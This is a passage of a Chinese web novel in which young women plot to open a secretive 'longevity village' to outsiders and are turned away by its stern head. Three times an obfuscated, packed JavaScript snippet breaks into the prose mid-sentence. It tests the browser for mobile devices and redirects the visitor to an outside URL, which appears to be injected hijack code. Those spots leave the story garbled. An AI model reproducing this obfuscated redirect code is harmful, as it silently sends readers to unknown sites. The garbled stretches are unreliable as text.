“好吧。”小三打断了对方的宣言,收回视线,拉开了一张椅子坐下,笑道,“单方面的宣泄结束,现在让我们来谈谈吧。” “…谈什么?”小一疑问,“你是那村里的人吧,这事和你有什么关系?” “先坐吧,然后再来谈谈。”小三邀请道。 “谈什么?”小一没坐。 “谈谈,你愿意付出什么样的代价来让‘某著名长寿村景点竟在空气中混入这种东西’这一则新闻在发布前消失。”小三看着小一说,“它会引起热议的,而这次不会再是你们能‘私底下解决’的小事情了,我保证。” “…你疯了吗?!”小一怒道,“这对你而言有什么好处?我们出事了你以为你们村就能置身事外?不可能的,我——” “那其实也不错。”小三饶有兴致地点头,“不对,不如说就这样做吧!天呐,这样一想的话,其实这样更好来着…” 小一哑然,她全然不理解这人想要的到底是什么,眼见小三似乎决定了些什么,她明白如果自己再不做些什么就迟了,便开口道,“你想要什么?” 小三笑道,“不用了,我——” “你们,想要什么?”小一重复,看向现场的三人,“刚才的话你们也听见了,伸张正义就算了吧。”说完,她狠狠瞪了眼小象。 “先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,小三看了小象一会,突然一拍手说,“当然!这包在我身上。” “…谢谢?”小象有些疑惑。 “你想让这件事闹大,因为对你们村的现状感到不满。”小一问小三,“我猜得没错吧,之前我可没见过你们村还有你这么一个不安分的。” “谢谢夸奖!”小三点头,“就是这样啦,我的目的简单来说就是让村镇城市化管理,让现代化制度走入千家万户,如果你能想办法让一些工作人员进我们村子里头就再好不过了。” 她说得倒是容易,但其改革的第一步也是最重要一步大概就是取缔“村长”这个职位了吧,小象这样想着,忽然又疑惑了起来,既然那村子确实有神奇之处,为何又要摆出那样坚决的排外态度呢?或者说,她们是怎么做到的?只靠几个看着围墙的守卫可不够吧。 “哦哦原来长寿村现在招募村民,有基因筛查要求吗?”小一疑惑道。 “额。”小三沉默。 “那你说我能想什么办法?”小一冷笑,“你能想办法解决那位村长的话我——” “这个可以。”小三马上答应。 “额?”小一疑惑。 “…原来我们长得真的不像…”小三有些失望。 “你也愁眉苦脸一点。”小象提议。 “…我听说她把自己孩子送出去上学了。”小一意识到了,惊讶道,“是你啊!” “就是这样啦。”小三笑嘻嘻地说。 “不像,完全不像!”小一刻薄地评价,“活着的时候没可能了,等你们都死了进火葬场处理一遍之后才可能会有相似之处吧。” 被这样评价了的小三倒也没生气,几人再商讨了一些细节,小三会想办法从内部搞出点动静,然后让外面的人“不得不”进村协助维护治安,而小一要做的事就是提前派人蹲守在附近以防动静过期。 “动静?”小象好奇道,“你打算放火吗?” “…我看上去像是那种人?”小三疑问,“一点骚乱就够了,可不能真搞出大事,不然村内封闭情况只会更严重。让一些比较关键的设施,比如水电什么的断掉一下就可以。” “你们村还有水电呢…”小象说着楞住了,“你不会是指望我去帮你剪电线什么的吧?” “比如,比如嘛!”小三连忙说道,“不会让你犯法的,放心!” “要真这样做…”小一看向小象,忽然就笑了,“我一定亲自率人排查事故真实情况,放心吧,我的‘合作伙伴’!” 小象无话可说。 22. 长寿村与过去的秘密-中-2 工作室的门再次被打开时景区人流量比先前高上不少,小一决定亲自送这几个不安分的游客回巴士站,途径工作人员与游客,她都亲切而礼貌地问好并不时嘱咐一些什么,活像个好领导。 或者说她确实是,小象心想,听口音小一根本不是本地人,不知为何会在这样的年纪出现在这里,尽职尽责地给这氧吧里每个痛苦求长寿的人打麻醉剂,兢兢业业为这除了人气一无所有的空洞保守空气中看不见的秘密。 “看着我干什么?”小一疑问。 “觉得你辛苦。”小象实话实说,“顺便问问,你为什么来这上班?” “…大学学的景区管理,毕业了找不到工作,考公务员后被分配到这而已。”小一说道,又笑,“怎么,你想要啥戏剧性的答案呢?” 确实是非常普通且令人失望的答案,但小象可没资格抱怨什么,只说,“如果你说自己是□□的话我也会信的,而且还会害怕你。” “可惜。”小一冷笑。 “…那不就和我一样嘛!”小二惊道,这是她长久的沉默以来第一次开口,声音有些沙哑。 “…是嘛。”小一也有些惊讶,她看向小二,第一次认真地打量了一番这比她小许多,但和她走了一段同样道路的年轻人:她的眼睛多亮,先前说的话多有力,那都是发自真心的,她真心那样愤怒过。 小二被她看得紧张了起来,“怎,怎么了吗?” “…没什么。”小一叹了口气,微笑着拍了拍小二的肩膀说,“搞定这一遭之后赶紧收拾东西滚吧,臭外地的。” “诶——”小二大受打击,“怎,怎么这样啊…你明明也——” “哈哈哈!”小三笑了。 三人坐上返程大巴,小三带着小象在长寿村站下车,而小二则自行返回工作。 “到头来,我其实也没什么用。”她有些闷闷不乐地说,“即做不了什么决定,也帮不上忙。” “那不就是在说你即没犯大错也没捣乱吗?”小象说道,“很好了,比我一些同事好得多。” “就是啊。”小三也安慰道,“乐观点啦,乐观点活得久哦。” “…也是。”小二这样说,但丝毫没有乐观的迹象,她朝即将下车的二人道别,被车窗框着带去了密林山路之上。 “那么,请问你是要怎么解决我的住宿问题呢?”小象站在人来人往的字碑前问道,并及时躲避那些闪光摄像头。 “来我家住吧!”小三指了指青石板路延伸向的吊脚楼群深处,“其实我家还挺大的,客房还是有的。” “我倒是不介意。”小象没太意外,她顺小三手指方向看去,那人流与广告牌的遮掩之中面前露出些白色来,那就是长寿村的围墙,她问道,“但要是我进不去怎么办?” “嗯…”小三摸了摸脑袋,“这个时候就得厚起脸皮了。” “我?”小象指了指自己。 “我们!”小三笑着点了点头,拉上小象的手大步朝里走去,“走吧走吧,亲爱的客人这边请——” 她们就这样相亲相爱地走远了,但小三没走多久就松开手突然拐了个弯朝那卖糖葫芦的店铺走去,就在小象以为她是突发好客情绪心里准备客气一下时,这人就目的明确地停在了那排队尾端,朝一个看着不足十岁的小孩开口道,“你怎么在这里呀?” “因为我想吃这个!”小孩笑着回应了,蓬松卷发包裹下,那笑容得小三七分真传。 “向你介绍一下。”小三摊手朝走来的小象说,“这位是姐姐最近新交的朋友哦!来,叫小象姐姐——” “小象姐姐——”小孩特听话。 “…你好。”小象打招呼,她不太擅长与幼童相处,因为她们太小了。 “这是小六,就是我之前说的那个,村里现在最小的孩子。”小三介绍道。 “就是我——”小六举手,“我是小六,是村里最小的小孩子!” “你好。”小象重复道。 “你好?”小六歪了歪头,心想或许这是需要回复才能开启下一段对话的机器人呢? 然后小象就不知道该说什么了,她看向那糖葫芦摊贩,想了想说,“姐姐请你吃糖葫芦吧,以表对你存在的敬佩之情。” “谢谢小象姐姐!”小六迅速回答,即使她完全没听懂后面那句说的是什么。 “…哈哈…”小三叹着气笑了,又打起精神说,“那我也要!我要草莓的那种,谢谢小象姐姐!” “好吧。”小象姐姐宽和大度地同意了,并给自己也买了串招牌的。 作为景区产物,其糖壳与山楂都很硬,果肉酸涩扎人,小象不由得有些担心小六的牙口,低头一看却发现对方手里的那串已经消失一半了,看来这孩子的生存能力不需要令人担心。 三人就这样一边啃着手里的东西一边沿着石板路走,沿途简直就是各地城市小吃街的复制粘贴版本,小象甚至看到了一家吊脚楼小铺边上运货推车里的小吃包装袋,与先前城里街边小店中的一模一样。店主大多看着上了年纪,穿着民族风格突出的繁杂服饰也行动利落,嘴里说的方言,或许是因为生意好,一个两个脸上的笑容都称得上和蔼可亲。 “你怎么一个人出来呀小六。”小三掐着嗓子说,“这里这——么多外地人呢,哪个把你揣包里带走了都没人发现。” “哈哈哈!人贩子!”小六乐了,“我值钱吗?” “肯定值钱!”小三煞有其事地说,“小六可是村里唯一的小孩,所以在外头不能随便说自己是村里人哦。” “没人信呀?”小六嘴里动作一顿,看向街边,那头上顶着花环,手里挂着一大堆小饰品的老人向一对夫妇说自己活了一百多岁,小六情不自禁笑了,“我这——么小,谁信我是村里人呀?” “所以你经常这样跑出来玩吗?”小象问道,“我看那些店长都和你挺熟。” “嗯,出来玩很有意思的!”小六连连点头,“这里的人都会和我说话呢!” “嗯?”小象疑惑,“你们村里的人已经老到话都说不了了吗?” “那倒还不至于。”小三摆了摆手,“村里人说的东西小六听不懂吧,小六平时也不在村里待着,她在镇上的幼儿园读书,哦对,今年开学应该要上小学了。” “对!”小六点头,“小六要成为小学生了!哈哈哈——小学生!” “你很开心啊。”小象笑道,“也是,毕竟每个人的小学时光都很快乐。” “是这样吗?”小六听了这消息又乐了,期待地问道,“会很快乐吗?比这样出来玩还快乐?” “那我就不清楚了,人各有志。”小象顿了顿,问道,“不是因为这个的话,你为什么会因为上小学这么开心呀?” “因为——”小六压低声音说,“这样一来,我会是村里唯一一个小学生呢!” “…难道说有什么学历奖励?”小象疑惑。 “每个人看见我都会‘哦——’一下。”小六回忆起那场面觉得相当有意思,就又重复道,“哦——” 比起那些莫名其妙而且完全听不懂的话,这一声就好理解多了,小六心想,村里的人好像都觉得任何东西都不该随时间变化,小六从小到不大收获过很多声“哦——”,稀奇的,惊讶的,恐惧的,排斥的,那是村子里唯一有意思的东西。 “…额。”小三似乎想到了什么,脸色变得有些难看,“一群莫名其妙的老东西。” 小六听见了,小六的听力很好,她重复道,“老东西——” “哈哈哈!”小三笑了,又说,“诶但这样一听就是我教的,你可别对那些老头喊这个,不然我又要挨骂。” “老头是,老东西…”小六若有所思,老头是老人,老东西是变旧的要坏掉的东西,老人也是要坏掉的人,人可以是东西,所以老人是老东西,她理解了,便重复道,“老东西——” “哈哈哈!”小三又笑了。 随着脚下的石板不再刻意发青,那长而高的白墙逐渐从背影中脱离了出来,正是新闻采访中的那面背景墙,不远处,不显眼的厚重门边守着个安保亭,那就是长寿村的入口了。 “真是有够不起眼。”小象评价道,“是故意这样的吗?” “确实,毕竟本来就要隐人耳目嘛。”小三点头。 “因为里面的人基本用不上门,就看不到嘛。”小六说。 更接近了些,小象看见那门边有顶比保安亭更不起眼的帐篷,没扎钉子,就靠几个石头压着,橙色的篷布泛着一种几乎要透光的白,风大吵它就成倍地响,很难让人相信它能提供多优质的睡眠。小象在来城市前的超市见过它,公园露营帐篷,当时它被放在一处室内的模拟草地上,旁边的一家子假人模特围着它笑,边上还有条假狗在呢。 “啊!帐篷姐姐。”小六也瞧见了那孤零零地贴在地上的橙色鼓包,心里有些开心,“她还没走呢!” “她在这待多久了?”小象问道。 “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296742|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我前天出来的时候还和她打招呼了!”小六回忆着说。 “应该也没待多久,之前的情况你也知道,她是入职体检之后才来这的。”小三说着叹了口气,“她想走也走不了吧。” “…那也确实。”小象看着那帐篷,突然就想起了天然氧吧里头那三位“大客户”,此时她才意识到了一个问题,并疑惑起来,“那个脑癌老人为什么还有钱躺在那里面?而且,为什么就小四一个人在这?” “…为什么一个人?”小六疑惑该问题本身,“帐篷姐姐不是人吗?” “…她是人类吧,患了癌症的人类也是人类,重点在于‘一个’。”小象无奈解释道。 “钱的问题倒好解释,她们一家都接受了采访,那当然不是免费的。”小三说道,“而且,我说那老头算氧吧代言人了吧,用一下产品就当作广告费。不过关于为什么她一个人待在这…这得问她自己了。” “原来帐篷姐姐有家人吗?”小六惊讶地问小三,“她这么大了也有家人啊。” “是小四姐姐啦。”小三笑道,“无论多大都是有家人的哦,你看村里那些个老东西,不也是拖家带口地活着吗?” “哦…”小六若有所思。 “她…”小三放轻了声音和小象说,“情况你也知道,我妈让她在外面说自己是景区工作人员的孩子。她挺乖的,但是家里人已经没有行动能力了,平时基本上是我妈,加上村外的老头们看着的。” 虽然小三似乎有在考虑小六的心情而放轻声音,可惜小六还是听见了,小六听力很好!但她不理解为什么小三要放轻声音,明明这些东西她早就知道了,为什么觉得这是不该让她听见的东西呢? “…这样啊。”小象只是这样回答,但她忍不住就想问:小六为什么会出生呢?她的家人已经完全失去负责能力的情况下,让一个孩子在这样的环境中出生,长大,那位母亲是怀着怎样的心思度过对于老人而言过于难熬的孕期,又冒着生命危险将其生下的呢? 三人一时沉默,抵达那帐篷门口时,像是有人预先准备好跳出来一样,小四突然就从拉链门中钻出,站在了三人身前。 “哦…你们好。”她似乎没预料到会有这么多人,一时顿在了原地。 “你好。”小象答道,眼前的小四比起先前隔着玻璃看到的那人更沉默些,或许是病痛所致,她看上去精神不太好。 “小四姐姐好!”小六高兴地跑上前展示手里的糖葫芦,“我吃到它了!不好吃!” “不好吃吗?”小象觉得还挺好吃的。 “不好吃吧。”小三点头,“现在都没什么人吃原版的糖葫芦了。” “不好吃啊…”小四愣了愣,沉默片刻后笑了,理了理头发说,“好吧,看来确实是我对它有偏好,现在这个季节的山楂确实挺酸的。” “嗯?”小六疑惑,“你这不是已经知道了嘛,为什么还说这个会好吃?” “…因为,我小时候吃觉得挺好吃的。”小四说着叹了口气,抬头看向小象,勉强地微笑道,“之前没见过你啊,请问你是?” “她是来旅游的!”小三率先介绍道,“她叫小象,在大巴上凑巧遇到就聊了起来,我俩那叫一个一见如故啊!” “…就是这样。”小象点头。 “哦…那你带她来这是。”小四顿了顿,看向警卫,又问,“她是,想进村参观一下吗?” “就是这样。”小象点头。 “…她要怎么进去?”小四轻声问道,她踌躇了片刻,又缓慢地转移视线看向小三问道,“好吧,我不问这个,如果你能把她带进去的话,那能不能也考虑让我…” 她这样看着别人时,眼睛周围的白痕更加无法掩饰了,麻木的神情更让她看上去面带病色,小象会想起那老人的面孔,心想这或许正是病变的体现。 “…也是。”小三一点头,“一个能行那两个也能行,你跟我们一起吧!” “谢谢!”小四一顿,疲惫的脸上露出点喜悦来,她回头进帐篷,取了个双肩包背上后就将门拉上了,转身走近几人跟着,没再回头看过。 “就这样放着了吗?”小象问道,“你还挺相信这里的治安的嘛。” “没别的东西了,走吧。”小四摇了摇头,这动作让她脚下晃了晃,但她浑然不在意。 就这样看,小象总觉得她和天然氧吧里的那些人有点区别,但小四总该是想活下去才这样守在村口的,她不过是年轻些的准死者而已。 23. 长寿村与过去的秘密-中-3 村门是扇密不透风的合金块,正面没有人脸识别或其它高科技产附着,甚至没大锁,就靠它本身的重量与门外的警卫坐镇。见有人来,那身着荧光背心的皱着眉上前,先是冲小六打了招呼,随后看了眼小象与小四,才换上副凝重面孔朝小三询问二人身份。 “她们俩是我朋友,我想请她们来我家做客。”小三张口就来。 “这个扎帐篷的也就算了,这个。”警卫毫无动容之色,重点看了眼小象,怀疑道,“这明显就是游客,还带着箱子…小三你别是被人骗了哦。” 小象听出这人是在委婉地说“小三是收了好处带外人进去”,她有些惊讶于这官二代身份的作用竟如此低下,连带个人都会被警卫拦下。 “…我说是我朋友就是我朋友,被骗了也是我自己负责。难不成你要给她体检一下看看有没有病毒吗?”小三抱臂低声说。 “那倒不至于,但你也知道这事我们也做不了主啊。”警卫叹了口气,“要被人见到我放外人进去那我工作也得丢,就别难为我们这些底层啦。” 小三沉默了,她抿着嘴,脚尖不住点地。 “为什么?”小六问道,她仰头看了一圈下巴,不理解她们停在这的原因,“为什么不走了?不回去了吗?” “…小六当然可以回去啦!”警卫笑着说,“但是小三姐姐带着外面的人,外面的人不能进村子里的。” “嗯…”小六皱起眉认真地思考了一下,随即恍然大悟,“因为没有那个,那个牌子吗?” “什么牌子?”警卫一愣。 “就是那个啊!”小六比划着说,“前几天,小三姐姐回来的时候也被拦在外面了,你们也说她是外人,但她拿了个牌子给你们看就可以进去了,是那个吧!” “那是身份证啦…”警卫有些无奈。 “嗯?”小六疑惑。 “所以你根本没回来多久啊。”小象了然。 “…确实是这样。”小三轻声说,“要不是…” “那不是很糟糕吗…”小四叹了口气,“要不就算了…就这样僵持着也不是个办法,不然改天再试试?” “…你倒是看得开。”小象有些惊讶。 “看不开也没用吧?”小四淡淡地笑了。 小象这才发现为何小四与那些求生者有微妙的差别,她并不焦急,那些在洞窟里躺着的人哪怕闭着眼都有种挥之不去的急切感,像二氧化碳一样冒出来。但小四没有,她似乎不太在乎。 “…不。”小三摇了摇头,看向警卫说,“要真有这事你尽管来找我,总之开门吧,难不成我要喊我妈来开门?” 闻言,警卫犹豫了片刻,还是叹了口气,“好吧好吧,真出事了你得帮我作证啊,我真付不起这责任。” “行,行。”小三应着,警卫这才捏着门把开了锁,使劲拉开了门。缺少润滑油的门关节发出刺耳的声音,白墙总算是咧开了一道口子。 “嗯?”小六疑惑,“不用身份证了吗?” “本来也不用吧。”小象说,“难道你进出刷过身份证吗?” “…没有。”小六答道,又想起自己其实根本没有这玩意,遂大惊,“要,要是我被关门外了怎么办呀?!” “不会的不会的。”警卫连忙说,“谁敢拦我们小六呀,谁都认得出小六的,不需要身份证哦。” “…要是,哪天看这个门的人不是你们了,或者哪天我突然变了样子,你们认不出来了怎么办呀?”小六还是很担心这件事,又意识到了什么,“出去随随便便就出去了,回来就得被认出来才行…那些老东西就是因为担心这个才不出去玩的吗?” “…小三你看看你都教了什么东西?!”警卫怒道。 “诶呀,诶呀。”小三推着小六往门里面走,“走吧走吧,带我的朋友们参观一下我们家——” “谢谢!”小四朝警卫道谢后跟上了。 “谢谢。”小象也说,“这岗位还得有臂力要求吧,真不容易。” 警卫没说什么,摆了摆手,盯着几人都进门后又把那条缝合上了。不知为何,这扇门从内往外却有离地一米高的指纹验证设备存在,就好像认定了不会出现“有村里人想回来警卫恰好不在”的情况。 小四与小象刚进村便忍不住停驻,并非是因景色多美,恰恰相反,长寿村,或者说寿村,和村外那刻意维持着刻板印象的街道相比,要苍白,无趣,令人惋惜得多。 像是矫枉过正,门之后就没再出现过任何一丁点的青石板路吊脚楼了,这里就是小象以为的“瓶装水加工厂”。平房从排序到构造都规律得可以,隔几米一栋,一面墙一扇窗,一间屋子一处入口,入口有残疾人用的斜坡延伸向紧闭着的房屋门,无一例外。 向前走,脚下,水泥就那样平铺直叙地抹在地上,灰色原始而反自然。这里的一切都如此,仿佛那面墙隔错了方向,现代化的大手跳过商业圈直接捏住了这里,把这里的生机给捏死了。 放眼看去,小象没有找到任何植物存在痕迹,杂草都钻不出砖缝,只有将视线投射向远方之后,自然含量才在那视线尽头呈爆炸式增长,那里是连着山脉的树林,一路向上就是看不完的山。 无一物的灰白道路上,也就只有她们四人向前走着,周围没有路灯或其它街道装饰物,摄像头看不见,当然也没有机动车或非机动车。 这里像工厂,不,像仓库,小象终于找到了合适的形容词,寿村就像那种存放着最不值钱货物的仓库。通常会随时间被遗忘,直到哪天有探险爱好者或杀人凶手到来,这无趣景象才会被揭晓。 “这里…就是长寿村?”小四张望着说道,“不,该叫寿村,不过这里完全看不出是村啊。” “和想象中的不太一样吧?”小三走在前面,回头向四处张望着的几人笑道,“或者直接说大失所望也可以,我可不会计较。” “…确实和我想象中的不一样,不过我不是游客,没什么好失望的。”小象承认,“想一想的话也可以理解,如果说这里都是高龄老人的话,那这样的环境其实也更利于生活。” 说实话小象本来已经做好准备踏入一个古老而排外的村落,但现在,别说古老了,能放在排外这一动词前面的主语都找不到,到头来那厚重大门就是这里的唯一防线。 “这样说也确实,但是,怎么说呢?”小四用没什么起伏的语气感叹道,“谁能相信住在这里的人能长寿?” “对吧?是很无聊啦,那你们觉得应该是什么样的呢?”小六好奇道。 “就…”小四思索着,突然笑了,“就和你们村外的一样吧,把那些游客,店铺,小摊贩什么的去掉,就是我想象中的长寿村了。” “啊?”小六想象了一下就大失所望,“那不是超级无聊吗?!” “对小孩子来说确实是这样吧…”小四叹了口气,又问道,“说起来没看到有人呢,现在老人们都去午休了吗?” “不是哦!”小六抬起手指向一扇窗,“你看,在那里!” 闻言小象仔细眯起眼看去,这才注意到,避光阴影的玻璃后,有一双眼睛在暗中凝视着她们,那老人就那样一动不动地,几乎可以说呆滞地停于窗后。 “还有那里,那里,那里!” 又一双,又一对,又一副,小象这才意识到她们早就被视线所包围了,但那些视线不带情绪,只是昏沉而无力地停驻于她们身上,像是发呆的人凑巧将目光落在了这里,令人感受不到任何份量。 “…哦…是有人。”小四捏着包带的手紧了紧,她犹豫片刻,忍不住问道,“她们,为什么那样看着我们呢?” “嗯?”小六顿了顿,说道,“就是,看着了嘛。她们白天会出来走走的,如果遇上了,那她们可能就会‘哦——’一下啦!” “…她们看上去,不太健康的样子。”小四皱起眉。 “别管那些。”小三厌烦地摆了摆手,“那些老东西平时在这闲得要命,一点风吹草动就能让她们盯着看,别担心,天黑了之后这些人就什么都看不见了。” “嗯…这句话听上去有点可疑。”小四看向小三说,“你带我进来到底是为什么?” “确实是有些事希望你能帮忙。”小三点头,将自己的计划解释了一番。 小四听后沉思了起来,倒是小六很快就问道,“我听懂了!但是小三姐姐为什么要让外面的人进来呢?” “因为我想带我妈妈出去玩!”小三笑道,“不可以告诉别人哦。” “…好吧,我不好说的。”小六点了点头,又不理解地问道,“村长奶奶那么大了,为什么还要人带才能出去玩呢?” “…因为她需要有人帮她摘掉枷锁。”小三说,“既然我知道了这些责任根本没有意义,那我就要想办法丢掉它们。” 小六不说话了,但她还是不理解。 “…我明白了。”小四点头,“我可以帮助你,但我有个条件。” “你想去那个山洞?”小三问道。 “…是的,但其实…”小四犹豫片刻,抬起头继续说,“我其实是想让我的奶奶能再去一次那个山洞。” “…这倒是不难,不过这样一来的话,那你…”小三皱起了眉。 “…我本来就是因为她才这样做的,讲真,我好歹大学毕业,根本就不信有山洞躺着就能治好癌症。”小四说到这里叹了口气,语气里带上了不知冲向哪边的嘲讽,“但值得我信任的办法又条件苛刻得可以,总之,这病我治不起。” 说到这里,她反而笑了起来,“谁能想到呢?反正爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“…我妈不让我去。”小三扶住帽檐说,“或者说,她基本上不允许我自己在村子里跑动。我也从来没理由去那附近,路很难走,有门锁,山区可能有野兽…总之我确实一直没去那里面看过。” “但你总见过那些老人进去过吧?”小四又问。 “见过!”回答的是小六,“我经常看见,老东西被搬进去,又出来,但是我也没进去过…那里面黑漆漆的看不清呢。” “嗯…”小象也有些好奇了,“总之,我们去看看吧。你想做的那件事,从那处山洞下手也不错吧?被看重但其实也没那么重要,离村子远,附近还有水流,即使真放火了也没什么大事。” “先说好我不会放火的,不过也对…去看看吧。”小三点头,“就在山脚下,门锁钥匙在我妈那,让我来想想办法。” “我也想去!”小六举手。 “小六不能去。”小三压了压小六的脑袋,“小六太小了,我们很容易就会把你看丢的,过去很危险哦。” “…好吧。”小六看了眼几人的下巴,纠结着点了点头,但她也没纠结多久,熟悉的斜坡映入视线角落,是她特地在家门口用蜡笔画的标记,现在那长了笑脸的太阳在朝她笑。 “我到家啦!”小六跑走了,她推门进入那无任何特殊之处的屋中,又从窗户里探出头来招手,她觉得这样很有意思,就一直笑了很久。 与小六道别后,剩下的三个成年人继续往里走,路过十几栋从外表看如出一辙的建筑物,村长家就在通往山洞的小道旁边,因此也在村子的最深处。 “不过,就这样把行动告诉小六没关系吗?”小四有些担心,“即使她愿意为我们保密,被家里人问起来的话也会透露些什么出去吧。” “没关系。”小三摆了摆手,“那些老东西听不懂普通话,小六不说这里的方言。这里的方言绕口得很,如果不是从小学起就说不来,我也就听得懂加上能说几句,和那些老东西聊不起来,还会被笑话。” “…那她在这一定很无聊,怪不得喜欢跑出去玩。”小四皱起眉,“幸好她现在看上去还挺开朗的,可怜的孩子…” “她以后也会出去上学吗?”小象问道,又补充,“我说和你一样,你应该不是在‘长寿村’区域里长大的吧?” “确实,我小学就去城里的住宿学校了,偶尔才回来,大学后更是去了北边,之前一直没回来过。”小三说,“小六…她家里人怎么想的我不知道,但是,我问过我妈,她好像并不想让小六离开这里。” “为什么?”小象惊讶道,“明明已经有你这样的例子在了不是吗,难道说小六有什么特殊之处?” “不知道。”小三摊手,又笑道,“所以如果我们的计划能成功,那小六也不用继续待着这个和大型陵墓差不多的村子里啦,有没有被激励一点?” “她自己是怎么想的呢?”小四问道。 “肯定是想出去的吧!”小三理所当然地说,“即使是要上幼儿园的那几天,她也是天黑了才愿意回来的,显然是不喜欢这地方的啦。” “可是…”小象想起了方才小六的表现,“她好像对‘回不来’这件事非常担心,或许你该问问她本人,不然这样算不算拐卖小孩?” “诶…”小三叹了口气,说道,“好吧,也对,反正小六也不是傻子。” 24. 长寿村与过去的秘密-下-1 高山逼近,村长家就在眼前,令小象有些失望的是,这大官的屋子看着并没有什么不同之处,除了入户门前挂了块黄铜牌子标注“村内事务负责处”标志外就没别的了。看门口斜坡状态,平时来村务处找事的人数不算多,进出最多的或许是就是小五本人,现在后面可以再加个小三。 按小三的说法,这屋子里除了小五外没别人在,但此时三人站在门前,门脚却传来了踢击声,一顿一顿的相当奇怪,小三直接把门拉开露出其真容,低头,是扫地机器人。 无机物缓缓转身,朝屋内走去。 朝里看,屋内陈设显然有为这位考虑过,几乎所有家居都挑高了足以令其行动自如的空间,地面干净得无从落脚,冷白空间内没有地毯或地面隔断,反着光的大理石地板上找不到电线,隔间的门没关,相似内空间布局一览无余。村长家客厅兼村长办公室兼会议区内只有一副办公桌椅和大量文件柜,没有给外人坐的地方,所有来客要么站着要么自带座位。 “我带朋友回来了——”小三朝看向来客的小五大声说。 “…欢迎你们的来访。”小五开口说道,这位传闻中长相显老的村长似乎原先正在工作,手套没摘,手边有笔,她的声音很沉,不像是在好客,她看着眼前的人又说,“以为我会这么说?现在,你们怎么进来的就怎么回去。” 好吧,她确实不好客。 “妈,这是我朋友!”小三堆起笑比划着说,“外人是外人,我朋友是我朋友,难道说我不能请朋友来家里玩吗?哪有这样的道理!” “行了。”小五打断道,她看都没看小三,只是站在原地,对鞋都没换的两人道,“现在,离开这里。” “…妈!”小三抬高了声音说,“我邀请她们来的!” 小五不做声,继续看着二人,视线传达压力。这种场景小象还真没见识过,并非是作为不被欢迎的客人,而是作为房屋主人的朋友不被欢迎。 “好吧,可惜…难道说我又得找地方住了吗?”小象叹了口气,问小四,“你帐篷里还能挤挤吗?” “可以是可以,但是…”小四显然相当为难,“我睡眠质量不太好…” “对啊!”小三赶紧露出个笑脸说,“你看现在村外都找不到地方住了!把她们赶出去的话她们就只能住野外,那哪行呀?可怜可怜她们呗村长大人——” “那,你也一起出去。”小五无动于衷,她似乎就是有这样打断别人感情表达的天赋,“这几天也待够了吧,去收拾你的东西。” “…你…”小三几乎失语了。 “我们就待一晚上,明天,不,明早我们就走,这也不行吗?”小象问道,“我是为了工作而来这里的,不是那些游客,不必担心我会对村民动手动脚哦。” “…你以为只有外人对这里的村民有想法?”小五抬起手捏了捏本就布满褶皱的眉心,“明天早上,哼,如果你们今晚留下,那明早可走不了。” “…什么意思?”小象疑惑,“那些老人还能开着轮椅堵我不成?” 小五没有回答,而是用带着警告的声音说,“最后再说一次,自己离开这里,或者让警卫通知你们离开,那么你们走出村口大门后就会被逮捕,看在她的面子上我不想做到那一步。” 被给面子的“她”并没有因为这句话就自得多少,与先前在小一面前相比,小三现在的表现相当糟糕,像个顶不住压力的面试者。 这村子似乎是在隐瞒村中的某些秘密,小象心想,也对那秘密更好奇了些,是村里人有特殊之处吗?还是这里的环境?不然无法解释为何小五如此急着赶她们走。 “…为什么?”小三沉声质问,“你至少告诉我为什么吧?为什么你总这样?!” “别把你从外面学来的一套用在这里。”小五看向小三说道,“我总哪样?我一直都这样,别来打扰我工作,我——” “这里哪有什么工作!?”小三愤怒地质问,“这些,这个村子里根本就没有有意义的东西!” “…那你还留在这做什么?”小五问。小三沉默,她又不说话了,身体也一动不动地,整个人像块木头一样僵在原地。 “…那您当时为何让我奶奶进了村子呢?”小四疑惑道。 小五没有回答。 “是因为她们,我爸妈给您下跪了?”小四问道,顿了顿说,“如果我也跪在这的话,我也能进去吗?” “你…”小五欲言又止。 “或者说您想要任何东西?”小四走进一步问,“我什么都不需要了,您要我的什么都可以,还是说,我——” “我选择带她,你的奶奶进去,是因为当时我以为她已经死去了。”小五说道,她视线移开看向窗外,那里是一栋又一栋一模一样的平屋侧方,“我以为那轮椅上的是个死人,而你的父母哭喊却不看她,是也早已不将她视作为人。而你,我看得出,你还拥有自己的生命,不要浪费生命。” “生命?”小四突然笑了,“您说这个干什么…那您愿意让我进那山洞治治病吗?就当是可怜可怜我吧,反正我和个死人也没差了。” “…那里不能治病。”小五说,“你想活下去就去看医生。” “…那才叫浪费呢。”小四叹了口气。 “你说那里不能治病。”小象疑惑,又探究道,“可外界传闻不说,你们这根本就没有医生什么的吧,那些老人又是怎么才能活那么久的?” “…这就与你无关了。”小五转过身,再次恢复了近乎冷漠的态度,“无论你们想要什么,这里都没有,现在,走。” 眼见这事没得商量了,小象看向还僵硬着不动的小三,思索是否要拉着人一起出去。但就在这时,小五手下的电话铃却自己震了起来,她一顿,迅速接起电话却没有做任何应答,沉默地听了不出半分钟后就又把听筒挂回去了。 “走吧。”她走出办公桌后方,“我送你们几个出去。” 虽然说的是“送”但却是用的不容置疑的语气,小象与小四对视片刻,没再堵着门,转身走了,但小三没动,她跟像是真要人去请一样杵在原地,小五没去管,赶着二人出了门。 村长家的门就这样关上了。 “我以为你这样的老人会很乐意孩子回家看看呢。”小象朝小五搭话道。 “你是觉得,这里有地方好看?”小五问。 “…倒是没有。”小象说。 小五没再说话。 